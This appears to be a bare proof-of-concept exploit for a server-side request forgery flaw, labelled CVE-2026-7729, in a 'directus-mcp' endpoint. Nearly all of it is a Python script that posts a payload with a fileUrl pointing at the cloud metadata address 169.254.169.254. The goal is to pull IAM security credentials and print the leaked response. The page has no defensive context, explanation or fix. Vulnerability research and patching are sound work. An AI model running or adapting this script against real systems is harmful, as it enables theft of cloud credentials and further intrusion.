CVE-2026-7729 directus-mcp SSRF漏洞

import requests # Target URL (Example) target = "http://vulnerable-host:port/api/mcp" # Malicious SSRF payload pointing to internal metadata service ssrf_payload = { "fileUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: # Sending the malicious request response = requests.post(target, json=ssrf_payload) # Checking response for internal data leakage if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Leaked Data:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}")